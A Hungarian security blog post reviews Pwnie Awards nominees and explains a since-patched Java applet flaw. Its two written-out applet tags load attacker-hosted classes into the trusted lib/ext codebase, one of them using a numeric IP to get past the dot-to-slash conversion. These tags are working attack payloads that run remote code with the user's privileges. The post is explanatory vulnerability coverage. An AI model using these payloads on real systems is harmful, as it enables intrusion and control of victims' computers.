Lezárult az idei Pwnie Awards nevezési időszaka, a hivatalos weboldalon megtekinthetők a jelölések. Az idei mezőny igen erős, és bár a szervezők kommentjei önmagukban is megérnek egy misét, érdemes végignézni a jelölteket részletesebben is. Néhányukról már volt szó, az elkövetkező napokban-hetekben igyekezni fogok írni azokról a szebb darabokról is, melyek eddig kimaradtak a szórásból.

Elsőként vegyük Frédéric Hoguin Java exploitját, ami pusztán a Java beépített lehetőségeit kihasználva ad kódfuttatásra lehetőséget aláíratlan Java appleteken keresztül:

A probléma gyökere az, hogy az <applet> tagek code attributumában a betöltendő osztály nevét meghatározó karakterláncban megadható egy teljes URL is, a futtatókörnyezet azonban a codebase attributumban megadott URL biztonsági paramétereivel futtatja le azt. Mivel a Java appletek alapértelmezetten egy elég kevés lehetőséget adó homokozóban futnak, kell találni egy olyan kódbázist, ami mindig megbízható a JRE számára. Szerencsére a Java telepítési könyvtárában a lib/ext útvonal pontosan egy ilyen megbízható kódbázist jelöl, így a 

<applet codebase=”file:C:\Program Files\Java\jre6\lib\ext” code=”http://attacker/AttackerCode” /> 

Taggel megadott applet bármit megtehet a kliens számítógéppel a Java-t futtató felhasználó jogkörében. A baj csak az, hogy a code attributumban minden . karakter /-re alakítódik, így több szintű domain nevek illetve IP címek esetén bajban leszünk. Még szerencse, hogy a JRE elfogadja az IP címeket ún. numerikus notációban is: ekkor az IP cím byte-jait egy egyész számmá összefűzve értelmezzük, így például a 192.168.0.1 címből a 3232235521 szám lesz. Ezt megadva hosztként tetszőleges címről betölthetünk Java osztályokat, melyek aztán hozzáférhetnek a fájlrendszerhez, folyamatokat indíthatnak, nyers hálózati kapcsolatokat nyithatnak, stb.:

<applet codebase=”file:C:\Program Files\Java\jre6\lib\ext” code=”http://3232235521/AttackerCode” />

Az Oracle a Java 1.6.0_24 kiadásával javította a problémát idén februárban.